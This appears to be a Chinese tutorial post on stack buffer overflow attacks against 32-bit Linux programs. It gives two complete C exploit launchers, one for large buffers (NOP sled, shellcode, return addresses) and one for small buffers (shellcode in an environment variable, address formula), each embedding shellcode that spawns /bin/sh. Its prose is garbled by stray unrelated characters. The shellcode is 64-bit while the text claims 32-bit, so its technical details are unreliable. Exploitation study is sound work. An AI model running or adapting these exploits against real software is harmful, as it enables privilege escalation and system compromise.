一茉贡、 緩沖區(qū)足夠大的情形
下面的代碼是網(wǎng)上眾多緩沖區(qū)溢出攻擊代碼的一個(gè)變種,它可以進(jìn)行很多場(chǎng)合下的漏洞攻擊当船。
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
char shellcode[] = /* shellcode exec /bin/sh */
"\xeb\x2b\x59\x55\x48\x89\xe5\x48"
"\x83\xec\x20\x48\x89\x4d\xf0\x48"
"\xc7\x45\xf8\x00\x00\x00\x00\xba"
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
"\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
"\x00\x00\x00\x0f\x05\xe8\xd0\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long get_sp(void) {
__asm__("movl %esp, %eax"); /* return rsp */
}
int main(int argc, char *argv[])
{
int i, offset = 0;
unsigned long sp, ret, *addr_ptr;
char *prg, *prgpath, *buffer, *ptr;
int size = 500; /* default buffer size */
sp = get_sp(); /* local sp value */
if(argc > 1)
prg = argv[1]; /* app name be exploited */
if(argc > 2)
prgpath = argv[2]; /* app path be exploited */
if(argc > 3)
size = atoi(argv[3]);
if(argc > 4)
offset = atoi(argv[4]);
if(argc > 5)
sp = strtoul(argv[5], NULL, 0); /* input sp for remote exploits */
ret = sp - offset;
buffer = (char *)malloc(size);
ptr = buffer;
addr_ptr = (unsigned long *) ptr;
/* fill entire buffer with return addresses, ensures proper alignment */
for(i=0; i < size; i+=4) {
*(addr_ptr++) = ret;
}
/* fill 1st half of exploit buffer with NOPs */
for(i=0; i < size/2; i++) {
buffer[i] = '\x90';
}
/* place shellcode. start at the middle of the buffer */
ptr = buffer + size/2;
for(i=0; i < strlen(shellcode); i++) {
*(ptr++) = shellcode[i];
}
buffer[size-1] = '\0';
execl(prgpath, prg, buffer, (char*) 0);
free(buffer);
return 0;
}
上面這段代碼主要作用是取代手工注入沦零,代碼運(yùn)行基于32位的linux系統(tǒng)来破,buffer size預(yù)設(shè)為500字節(jié),建設(shè)緩沖區(qū)不要少于500byte忘古, 如果太小了就會(huì)裝不下shellcode徘禁。
代碼的參數(shù)1是將要攻擊的程序的路徑,參數(shù)2是將要攻擊的程序的程序名稱髓堪,參數(shù)3是緩沖區(qū)大小送朱,參數(shù)4是調(diào)整地址對(duì)齊的偏移地址,參數(shù)5用于手工輸入esp(這是緩沖區(qū)存儲(chǔ)的地址范圍)干旁。
這段代碼的注入模式是:NOPs+Shellcode+addr驶沼。
先用NOPs填充緩沖區(qū)開頭的一半空間,這樣更方便控制EIP(cpu指令指針)争群,即使addr是一個(gè)大概的地址回怜,也能成功的通過NOPs滑動(dòng)至達(dá)shellcode的地址。
后面用addr填充就是確保能夠覆蓋保存的返回地址换薄, 其中地址的對(duì)齊方式是4字節(jié)玉雾,可以通過程序的argv參數(shù)去控制offset偏移,精準(zhǔn)的覆蓋返回地址的前題是要正確對(duì)齊地址轻要。
二复旬、 緩沖區(qū)很小的情況
如果緩沖區(qū)只有10來個(gè)字節(jié),不夠安放shecode時(shí)冲泥,可以用環(huán)境變量的方法用存放shellcode驹碍,下面的代碼用來實(shí)施小緩沖區(qū)漏洞攻擊壁涎。
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define SIZE 128
char shellcode[] = /* shellcode exec /bin/sh */
"\xeb\x2b\x59\x55\x48\x89\xe5\x48"
"\x83\xec\x20\x48\x89\x4d\xf0\x48"
"\xc7\x45\xf8\x00\x00\x00\x00\xba"
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
"\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
"\x00\x00\x00\x0f\x05\xe8\xd0\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc, char *argv[])
{
char *prg, *prgpath, p[SIZE];
int *ptr, i, addr, offset = 0;
char *env[] = {shellcode, NULL};
if(argc > 1)
prg = argv[1]; /* app name be exploited */
if(argc > 2)
prgpath = argv[2]; /* app path be exploited */
if(argc > 3)
offset = atoi(argv[3]); /* app path be exploited */
addr = 0xbffffffa - strlen(shellcode) - strlen(prg); /* calculate the exact location of the shellcode*/
ptr = (int *) (p + offset); /*fill buffer with computed address, start offset bytes into array for stack alignment*/
for(i = 0; i < SIZE; i+=4) {
*ptr++ = addr;
}
execle(prgpath, prg, p, NULL, env);
exit(1);
}
上面的代碼涉及一個(gè)地址計(jì)算公式,這個(gè)公式是由Murat Balaban發(fā)現(xiàn)的志秃, 這依賴于以下事實(shí):即所有Linux ELF文件在映射到內(nèi)存中時(shí)會(huì)將最后的相對(duì)地址設(shè)為0xbfffffff怔球。參考linux程序運(yùn)行內(nèi)存布局可知,環(huán)境變量和參數(shù)就是存儲(chǔ)在這個(gè)區(qū)域的洽损。
這個(gè)公式是:
shellcode = 0xbfffffff - 0x4 - length(program name) - length(shellcode)
以下是示意圖庞溜,基于linux的32位系統(tǒng):
參考文章:
- Gray Hat Hacking, The Ethical Hacker's Handbook
- Computer Systems